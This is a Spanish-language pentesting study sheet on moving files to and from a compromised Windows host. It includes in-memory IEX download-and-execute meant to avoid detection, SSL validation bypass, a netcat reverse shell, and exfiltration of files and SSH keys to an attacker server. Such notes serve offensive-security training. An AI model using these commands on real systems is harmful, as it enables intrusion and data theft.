Windows File Transfer Methods
Download Operations
Base64 Encode / Decode
Util cuando no hay conectividad directa pero si capacidad de copiar y pegar texto, como a traves de una web shell o una ejecucion de comandos con salida visible. Se codifica el archivo en el origen, se transporta el texto, y se decodifica en el destino.
En el atacante (Linux) — verificar hash antes de codificar:
$ md5sum id_rsa
4e301756a07ded0a2dd6953abf015278 id_rsaCodificar el archivo en base64:
$ cat id_rsa | base64 -w 0; echoEl flag -w 0 evita que base64 inserte saltos de linea cada 76 caracteres, produciendo una cadena continua que se puede copiar sin problema.
En la victima (Windows) — decodificar y escribir el archivo:
PS> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0..."))Verificar integridad con hash MD5:
PS> Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
Algorithm Hash Path
--------- ---- ----
MD5 4E301756A07DED0A2DD6953ABF015278 C:\Users\Public\id_rsaPowerShell Web Downloads
PowerShell expone la clase Net.WebClient con varios metodos de descarga. Los mas relevantes son:
DownloadFile — descarga y escribe el archivo en disco. DownloadString — descarga el contenido como cadena de texto, util para ejecutar scripts en memoria con IEX. DownloadData — descarga los bytes sin escribir a disco. DownloadFileAsync y DownloadStringAsync — versiones no bloqueantes de los anteriores.
Descargar un archivo a disco:
PS> (New-Object Net.WebClient).DownloadFile('https://IP/file.ps1', 'C:\Users\Public\Downloads\file.ps1')
PS> (New-Object Net.WebClient).DownloadFileAsync('https://IP/file.ps1', 'C:\Users\Public\Downloads\file.ps1')Descargar y ejecutar en memoria — sin escribir en disco:
Util para evadir deteccion por escritura de binarios en disco. El script se descarga como cadena y se pasa directamente a Invoke-Expression.
PS> IEX (New-Object Net.WebClient).DownloadString('https://IP/script.ps1')
PS> (New-Object Net.WebClient).DownloadString('https://IP/script.ps1') | IEXInvoke-WebRequest:
PS> Invoke-WebRequest https://IP/file.ps1 -OutFile file.ps1Errores frecuentes:
El primero ocurre en sistemas sin interfaz grafica porque Invoke-WebRequest intenta usar el motor de Internet Explorer para parsear la respuesta. Se resuelve con -UseBasicParsing:
PS> Invoke-WebRequest https://IP/file.ps1 | IEX
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available,
or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
PS> Invoke-WebRequest https://IP/file.ps1 -UseBasicParsing | IEXEl segundo ocurre cuando el certificado SSL del servidor no es de confianza, por ejemplo con certificados auto-firmados. Se resuelve desactivando la validacion del certificado para la sesion actual:
PS> IEX(New-Object Net.WebClient).DownloadString('https://IP/script.ps1')
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish
trust relationship for the SSL/TLS secure channel."
PS> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
PS> IEX(New-Object Net.WebClient).DownloadString('https://IP/script.ps1')SMB Downloads
SMB permite montar recursos compartidos de red y copiar archivos desde ellos como si fueran directorios locales. El atacante levanta un servidor SMB en Linux con impacket-smbserver y la victima copia desde la ruta UNC correspondiente.
En el atacante (Linux) — iniciar el servidor SMB:
$ sudo impacket-smbserver share -smb2support /tmp/smbshareEl argumento share es el nombre del recurso compartido. -smb2support habilita SMB2, necesario para compatibilidad con versiones modernas de Windows.
En la victima (Windows) — copiar el archivo:
> copy \\192.168.220.133\share\nc.exe
1 file(s) copied.Por que falla en Windows 10 / 11 sin credenciales:
Las versiones modernas de Windows bloquean el acceso anonimo a recursos compartidos por politica de seguridad. El error es:
You can't access this shared folder because your organization's security policies block
unauthenticated guest access. These policies help protect your PC from unsafe or malicious
devices on the network.La solucion es levantar el servidor con usuario y contrasena:
En el atacante (Linux) — servidor SMB con credenciales:
$ sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password testEn la victima (Windows) — montar la unidad con credenciales y copiar:
> net use n: \\192.168.220.133\share /user:test test
The command completed successfully.
> copy n:\nc.exe
1 file(s) copied.Ejecutar directamente desde la ruta UNC sin copiar al disco:
Si no se necesita persistencia del archivo, se puede ejecutar el binario directamente desde la ruta UNC. El archivo nunca aterriza en el disco de la victima.
> \\192.168.220.133\share\nc.exe IP 4444 -e cmd.exePS> \\192.168.220.133\share\shell.exe
PS> powershell -ep bypass -f \\192.168.220.133\share\shell.ps1FTP Downloads
pyftpdlib permite levantar un servidor FTP desde Python sin instalar nada mas. Por defecto permite acceso anonimo.
En el atacante (Linux) — instalar y levantar el servidor:
$ sudo pip3 install pyftpdlib
$ sudo python3 -m pyftpdlib --port 21En la victima (Windows) — descargar via PowerShell:
PS> (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')Alternativa — script de comandos FTP:
Util cuando no hay PowerShell disponible o cuando se trabaja desde una shell cmd. Se crea un archivo de texto con los comandos FTP y se pasa como script al cliente ftp.exe.
> echo open 192.168.49.128 > ftpcommand.txt
> echo USER anonymous >> ftpcommand.txt
> echo binary >> ftpcommand.txt
> echo GET file.txt >> ftpcommand.txt
> echo bye >> ftpcommand.txt
> ftp -v -n -s:ftpcommand.txtEl flag -n suprime el login automatico (necesario cuando se usa -s). -v muestra la respuesta del servidor para depurar. -s:ftpcommand.txt indica el archivo de script a ejecutar.
Upload Operations
Base64 Encode / Decode
El proceso inverso: codificar en la victima (Windows) y decodificar en el atacante (Linux). Util para exfiltrar archivos cuando no hay conectividad de subida directa pero si de texto.
En la victima (Windows) — codificar el archivo:
PS> [Convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBp...Verificar hash antes de transferir:
PS> Get-FileHash "C:\Windows\System32\drivers\etc\hosts" -Algorithm MD5 | select Hash
Hash
----
3688374325B992DEF12793500307566DEn el atacante (Linux) — decodificar:
$ echo IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBp... | base64 -d > hostsVerificar integridad:
$ md5sum hosts
3688374325b992def12793500307566d hostsPowerShell Web Uploads
Para recibir archivos en el atacante se puede usar uploadserver, un modulo Python que extiende el servidor HTTP con soporte para subidas via POST.
En el atacante (Linux) — instalar y levantar el servidor:
$ pip3 install uploadserver
$ python3 -m uploadserverFile upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...En la victima (Windows) — subir usando PSUpload.ps1:
PSUpload.ps1 es un script de Nishang/plaintext que encapsula la logica de subida multipart. Se descarga en memoria y se ejecuta directamente.
PS> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
[+] File Uploaded: C:\Windows\System32\drivers\etc\hosts
[+] FileHash: 5E7241D66FD77E9E8EA866B6278B2373Alternativa — subida via Base64 sobre HTTP POST:
Si no se quiere usar un script externo, se puede codificar el archivo en base64 y enviarlo como cuerpo de una peticion POST. El atacante recibe el cuerpo con netcat.
En la victima:
PS> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64En el atacante, recibir con netcat:
$ nc -lvnp 8000La peticion llegara con el cuerpo base64. Extraer y decodificar:
$ echo <base64_recibido> | base64 -d > hostsSMB Uploads via WebDAV
El protocolo WebDAV es una extension de HTTP que permite operaciones de escritura sobre recursos web. Windows lo soporta de forma nativa y lo trata como un recurso SMB, lo que permite usar copy o el Explorador de archivos para subir ficheros.
Esto es especialmente util cuando el puerto 445 (SMB) esta bloqueado por el firewall pero el 80 o el 443 estan abiertos, ya que WebDAV funciona sobre HTTP.
En el atacante (Linux) — instalar dependencias y levantar el servidor WebDAV:
$ sudo pip3 install wsgidav cheroot
$ sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymousRunning without configuration file.
WsgiDAV/4.0.1 Python/3.9.2
Serving on http://0.0.0.0:80 ...En la victima (Windows) — verificar acceso al share:
Windows reconoce la ruta DavWWWRoot como punto de entrada especial para WebDAV. No es un directorio real en el servidor; es la forma en que el redirector WebDAV de Windows mapea la raiz del recurso.
> dir \\192.168.49.128\DavWWWRoot
Directory of \\192.168.49.128\DavWWWRoot
05/18/2022 10:05 AM <DIR> .
05/18/2022 10:05 AM <DIR> ..
05/18/2022 10:05 AM <DIR> sharefolder
05/18/2022 10:05 AM 13 filetest.txt
1 File(s) 13 bytes
3 Dir(s) 43,443,318,784 bytes freeSubir un archivo:
> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\DavWWWRoot\
> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\sharefolder\FTP Uploads
El mismo servidor pyftpdlib soporta subidas anadiendo el flag --write, que habilita el permiso de escritura para el usuario anonimo.
En el atacante (Linux):
$ sudo python3 -m pyftpdlib --port 21 --writeEn la victima (Windows) — subir via PowerShell:
PS> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/hosts', 'C:\Windows\System32\drivers\etc\hosts')Alternativa — script de comandos FTP:
> echo open 192.168.49.128 > ftpcommand.txt
> echo USER anonymous >> ftpcommand.txt
> echo binary >> ftpcommand.txt
> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
> echo bye >> ftpcommand.txt
> ftp -v -n -s:ftpcommand.txtEl comando binary es importante antes de PUT o GET cuando se transfieren archivos no textuales. Sin el, el cliente FTP opera en modo ASCII y corrompe los binarios al convertir saltos de linea.